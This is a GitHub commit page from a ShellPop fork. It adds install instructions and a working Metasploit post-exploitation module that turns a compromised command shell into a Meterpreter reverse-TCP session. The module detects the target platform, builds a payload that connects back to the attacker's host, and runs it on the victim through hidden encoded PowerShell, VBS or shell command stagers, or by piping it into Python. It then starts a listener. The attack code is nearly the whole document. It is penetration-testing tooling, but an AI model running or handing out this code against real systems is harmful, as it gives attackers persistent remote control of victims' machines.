forked from 0x00-0x00/ShellPop
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Adding custom metasploit module for upgrading shells with Shellpop
- Loading branch information
zc00l
committed
Jun 11, 2018
1 parent
79369a0
commit 12e4dd0
Showing
3 changed files
with
381 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
# How to install Shellpop shell_to_meterpreter module into metasploit-framework | ||
# Obviously, you will need to have metasploit framework 4 installed in the | ||
system. If you are smart then you're using Kali already and dont need to worry | ||
with that. | ||
|
||
root@kali# mkdir -p ~/.msf4/modules/post/shellpop | ||
root@kali# cp extras/shell_to_meterpreter ~/.msf4/modules/post/shellpop | ||
|
||
# Now boot metasploit-framework (msfconsole) and you will find the module in | ||
|
||
post/shellpop/shell_to_meterpreter | ||
|
||
# With a command shell open, you can CTRL+Z (background) the shell and do | ||
this procedure: | ||
|
||
use post/shellpop/shell_to_meterpreter | ||
set SESSION 1 | ||
set IS_POWERSHELL true # if it is a powershell shell | ||
run | ||
# This should upgrade your shell to meterpreter. | ||
|
||
# FAQ: | ||
# 1. Why dont you use default module shell_to_meterpreter? | ||
# 1A: It has some trouble into detecting PowerShell in some Windows Machines. | ||
I find that very annoying. So it was far more easier to just set a Boolean | ||
variable to skip PowerShell detection and just use it. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,353 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core/exploit/powershell' | ||
require 'msf/core/post/windows/powershell' | ||
|
||
class MetasploitModule < Msf::Post | ||
include Exploit::Powershell | ||
include Post::Windows::Powershell | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Shell to Meterpreter Upgrade', | ||
'Description' => %q{ | ||
This module attempts to upgrade a command shell to meterpreter. The shell | ||
platform is automatically detected and the best version of meterpreter for | ||
the target is selected. Currently meterpreter/reverse_tcp is used on Windows | ||
and Linux, with 'python/meterpreter/reverse_tcp' used on all others. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Tom Sellers <tom [at] fadedcode.net>'], | ||
'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ], | ||
'SessionTypes' => [ 'shell' ] | ||
)) | ||
register_options( | ||
[ | ||
OptAddressLocal.new('LHOST', | ||
[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]), | ||
OptInt.new('LPORT', | ||
[true, 'Port for payload to connect to.', 4433]), | ||
OptBool.new('HANDLER', | ||
[ true, 'Start an exploit/multi/handler to receive the connection', true]) | ||
]) | ||
register_advanced_options([ | ||
OptBool.new("IS_POWERSHELL", | ||
[true, "Check this if it is a powershell shell", true]), | ||
OptInt.new('HANDLE_TIMEOUT', | ||
[true, 'How long to wait (in seconds) for the session to come back.', 30]), | ||
OptEnum.new('WIN_TRANSFER', | ||
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]), | ||
OptString.new('PAYLOAD_OVERRIDE', | ||
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]), | ||
OptString.new('BOURNE_PATH', | ||
[false, 'Remote path to drop binary']), | ||
OptString.new('BOURNE_FILE', | ||
[false, 'Remote filename to use for dropped binary']) | ||
]) | ||
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') | ||
end | ||
|
||
# Run method for when run command is issued | ||
def run | ||
print_status("Upgrading session ID: #{datastore['SESSION']}") | ||
|
||
# Try hard to find a valid LHOST value in order to | ||
# make running 'sessions -u' as robust as possible. | ||
if datastore['LHOST'] | ||
lhost = datastore['LHOST'] | ||
elsif framework.datastore['LHOST'] | ||
lhost = framework.datastore['LHOST'] | ||
else | ||
lhost = session.tunnel_local.split(':')[0] | ||
if lhost == 'Local Pipe' | ||
print_error 'LHOST is "Local Pipe", please manually set the correct IP.' | ||
return | ||
end | ||
end | ||
|
||
# If nothing else works... | ||
lhost = Rex::Socket.source_address if lhost.blank? | ||
|
||
lport = datastore['LPORT'] | ||
|
||
# Handle platform specific variables and settings | ||
case session.platform | ||
when 'windows' | ||
platform = 'windows' | ||
payload_name = 'windows/meterpreter/reverse_tcp' | ||
lplat = [Msf::Platform::Windows] | ||
larch = [ARCH_X86] | ||
psh_arch = 'x86' | ||
vprint_status("Platform: Windows") | ||
when 'osx' | ||
platform = 'osx' | ||
payload_name = 'osx/x64/meterpreter/reverse_tcp' | ||
lplat = [Msf::Platform::OSX] | ||
larch = [ARCH_X64] | ||
vprint_status("Platform: OS X") | ||
when 'solaris' | ||
platform = 'python' | ||
payload_name = 'python/meterpreter/reverse_tcp' | ||
vprint_status("Platform: Solaris") | ||
else | ||
# Find the best fit, be specific with uname to avoid matching hostname or something else | ||
target_info = cmd_exec('uname -ms') | ||
if target_info =~ /linux/i && target_info =~ /86/ | ||
# Handle linux shells that were identified as 'unix' | ||
platform = 'linux' | ||
payload_name = 'linux/x86/meterpreter/reverse_tcp' | ||
lplat = [Msf::Platform::Linux] | ||
larch = [ARCH_X86] | ||
vprint_status("Platform: Linux") | ||
elsif target_info =~ /darwin/i | ||
platform = 'osx' | ||
payload_name = 'osx/x64/meterpreter/reverse_tcp' | ||
lplat = [Msf::Platform::OSX] | ||
larch = [ARCH_X64] | ||
vprint_status("Platform: OS X") | ||
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/ | ||
# Generic fallback for OSX, Solaris, Linux/ARM | ||
platform = 'python' | ||
payload_name = 'python/meterpreter/reverse_tcp' | ||
vprint_status("Platform: Python [fallback]") | ||
end | ||
end | ||
payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] | ||
vprint_status("Upgrade payload: #{payload_name}") | ||
|
||
if platform.blank? | ||
print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") | ||
return nil | ||
end | ||
|
||
payload_data = generate_payload(lhost, lport, payload_name) | ||
if payload_data.blank? | ||
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.") | ||
return nil | ||
end | ||
|
||
if datastore['HANDLER'] | ||
listener_job_id = create_multihandler(lhost, lport, payload_name) | ||
if listener_job_id.blank? | ||
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") | ||
return nil | ||
end | ||
end | ||
|
||
case platform | ||
when 'windows' | ||
vprint_status("Session type: #{session.type}") | ||
if session.type == 'powershell' or datastore["IS_POWERSHELL"] == true | ||
vprint_status("Powershell flag has been set.") | ||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR | ||
psh_payload = case datastore['Powershell::method'] | ||
when 'net' | ||
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data) | ||
when 'reflection' | ||
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data) | ||
when 'old' | ||
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data) | ||
when 'msil' | ||
fail RuntimeError, 'MSIL Powershell method no longer exists' | ||
else | ||
fail RuntimeError, 'No Powershell method specified' | ||
end | ||
|
||
# prepend_sleep => 1 | ||
psh_payload = 'Start-Sleep -s 1;' << psh_payload | ||
encoded_psh_payload = encode_script(psh_payload) | ||
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true)) | ||
else # shell | ||
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS') | ||
vprint_status("Transfer method: Powershell") | ||
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } | ||
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) | ||
else | ||
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' | ||
vprint_status("Transfer method: VBS [fallback]") | ||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) | ||
aborted = transmit_payload(exe, platform) | ||
end | ||
end | ||
when 'python' | ||
vprint_status("Transfer method: Python") | ||
cmd_exec("echo \"#{payload_data}\" | python") | ||
else | ||
vprint_status("Transfer method: Bourne shell [fallback]") | ||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) | ||
aborted = transmit_payload(exe, platform) | ||
end | ||
|
||
if datastore['HANDLER'] | ||
vprint_status("Cleaning up handler") | ||
cleanup_handler(listener_job_id, aborted) | ||
end | ||
return nil | ||
end | ||
|
||
def transmit_payload(exe, platform) | ||
# | ||
# Generate the stager command array | ||
# | ||
linemax = 1700 | ||
if (session.exploit_datastore['LineMax']) | ||
linemax = session.exploit_datastore['LineMax'].to_i | ||
end | ||
opts = { | ||
:linemax => linemax, | ||
#:nodelete => true # keep temp files (for debugging) | ||
} | ||
case platform | ||
when 'windows' | ||
opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64') | ||
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) | ||
when 'osx' | ||
opts[:background] = true | ||
cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe) | ||
else | ||
opts[:background] = true | ||
opts[:temp] = datastore['BOURNE_PATH'] | ||
opts[:file] = datastore['BOURNE_FILE'] | ||
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe) | ||
end | ||
|
||
cmds = cmdstager.generate(opts) | ||
if cmds.nil? || cmds.length < 1 | ||
print_error('The command stager could not be generated.') | ||
raise ArgumentError | ||
end | ||
|
||
# | ||
# Calculate the total size | ||
# | ||
total_bytes = 0 | ||
cmds.each { |cmd| total_bytes += cmd.length } | ||
|
||
vprint_status("Starting transfer...") | ||
begin | ||
# | ||
# Run the commands one at a time | ||
# | ||
sent = 0 | ||
aborted = false | ||
cmds.each { |cmd| | ||
ret = cmd_exec(cmd) | ||
if !ret | ||
aborted = true | ||
else | ||
ret.strip! | ||
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./ | ||
end | ||
if aborted | ||
print_error('Error: Unable to execute the following command: ' + cmd.inspect) | ||
print_error('Output: ' + ret.inspect) if ret && !ret.empty? | ||
break | ||
end | ||
|
||
sent += cmd.length | ||
|
||
progress(total_bytes, sent) | ||
} | ||
rescue ::Interrupt | ||
# TODO: cleanup partial uploads! | ||
aborted = true | ||
rescue => e | ||
print_error("Error: #{e}") | ||
aborted = true | ||
end | ||
|
||
return aborted | ||
end | ||
|
||
def cleanup_handler(listener_job_id, aborted) | ||
# Return if the job has already finished | ||
return nil if framework.jobs[listener_job_id].nil? | ||
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) { | ||
if !aborted | ||
timer = 0 | ||
vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") | ||
while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT | ||
sleep(1) | ||
timer += 1 | ||
end | ||
end | ||
print_status('Stopping exploit/multi/handler') | ||
framework.jobs.stop_job(listener_job_id) | ||
} | ||
end | ||
|
||
# | ||
# Show the progress of the upload | ||
# | ||
def progress(total, sent) | ||
done = (sent.to_f / total.to_f) * 100 | ||
print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total]) | ||
end | ||
|
||
# Method for checking if a listener for a given IP and port is present | ||
# will return true if a conflict exists and false if none is found | ||
def check_for_listener(lhost, lport) | ||
client.framework.jobs.each do |k, j| | ||
if j.name =~ / multi\/handler/ | ||
current_id = j.jid | ||
current_lhost = j.ctx[0].datastore['LHOST'] | ||
current_lport = j.ctx[0].datastore['LPORT'] | ||
if lhost == current_lhost && lport == current_lport.to_i | ||
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") | ||
return true | ||
end | ||
end | ||
end | ||
return false | ||
end | ||
|
||
# Starts a exploit/multi/handler session | ||
def create_multihandler(lhost, lport, payload_name) | ||
pay = client.framework.payloads.create(payload_name) | ||
pay.datastore['LHOST'] = lhost | ||
pay.datastore['LPORT'] = lport | ||
print_status('Starting exploit/multi/handler') | ||
if !check_for_listener(lhost, lport) | ||
# Set options for module | ||
mh = client.framework.exploits.create('multi/handler') | ||
mh.share_datastore(pay.datastore) | ||
mh.datastore['WORKSPACE'] = client.workspace | ||
mh.datastore['PAYLOAD'] = payload_name | ||
mh.datastore['EXITFUNC'] = 'thread' | ||
mh.datastore['ExitOnSession'] = true | ||
# Validate module options | ||
mh.options.validate(mh.datastore) | ||
# Execute showing output | ||
mh.exploit_simple( | ||
'Payload' => mh.datastore['PAYLOAD'], | ||
'LocalInput' => self.user_input, | ||
'LocalOutput' => self.user_output, | ||
'RunAsJob' => true | ||
) | ||
|
||
# Check to make sure that the handler is actually valid | ||
# If another process has the port open, then the handler will fail | ||
# but it takes a few seconds to do so. The module needs to give | ||
# the handler time to fail or the resulting connections from the | ||
# target could end up on on a different handler with the wrong payload | ||
# or dropped entirely. | ||
select(nil, nil, nil, 5) | ||
return nil if framework.jobs[mh.job_id.to_s].nil? | ||
|
||
return mh.job_id.to_s | ||
else | ||
print_error('A job is listening on the same local port') | ||
return nil | ||
end | ||
end | ||
|
||
def generate_payload(lhost, lport, payload_name) | ||
payload = framework.payloads.create(payload_name) | ||
options = "LHOST=#{lhost} LPORT=#{lport}" | ||
buf = payload.generate_simple('OptionStr' => options) | ||
buf | ||
end | ||
end |